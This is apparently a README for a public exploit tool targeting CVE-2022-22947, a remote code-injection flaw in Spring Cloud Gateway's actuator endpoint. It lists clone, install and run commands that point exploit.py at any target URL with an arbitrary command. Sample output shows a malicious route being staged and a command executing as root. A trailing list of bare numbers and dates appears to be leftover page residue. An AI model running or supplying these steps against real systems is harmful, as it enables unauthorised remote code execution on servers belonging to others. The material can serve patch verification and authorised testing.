Spring Cloud Gateway < 3.0.7 & < 3.1.1 Code Injection (RCE)
CVE: CVE-2022-22947
CVSS: 10.0 (Vmware - https://tanzu.vmware.com/security/cve-2022-22947)
Applications using Spring Cloud Gateway are vulnerable to a code injection attack when the Gateway Actuator endpoint is enabled, exposed and unsecured. A remote attacker could make a maliciously crafted request that could allow arbitrary remote execution on the remote host.
Usage
git clone https://github.com/carlosevieira/CVE-2022-22947
cd CVE-2022-22947
pip3 install -r requirements.txt
python3 exploit.py http://target 'id'
[email protected]:~/exploit/CVE-2022-22947/$ python3 exploit.py http://localhost:8080 'id'
###################################################
# #
# Exploit for CVE-2022-22947 #
# - Carlos Vieira (Crowsec) #
# #
# Usage: #
# python3 exploit.py <url> <command> #
# #
# Example: #
# python3 exploit.py http://localhost:8080 'id' #
# #
###################################################
[+] Stage deployed to /actuator/gateway/routes/rtxhovup
[+] Executing command...
[+] getting result...
[+] Stage removed!
uid=0(root) gid=0(root) groups=0(root)
References
https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/
https://spring.io/blog/2022/03/01/spring-cloud-gateway-cve-reports-published
3 Jun 22, 2022
14 Jun 24, 2022
3 Nov 13, 2021
2 Nov 24, 2021
4 Aug 08, 2022
3 Jun 05, 2022
343 Dec 31, 2022
37 Dec 06, 2022
1.9k Dec 30, 2022
2 Jan 17, 2022
3 Feb 07, 2022
80 Dec 30, 2021
48 Jun 20, 2022
98 Dec 26, 2022
92 Jul 20, 2022
764 Jan 05, 2023
164 Dec 20, 2022
25 Sep 23, 2022
2 Dec 27, 2021
167 Dec 19, 2022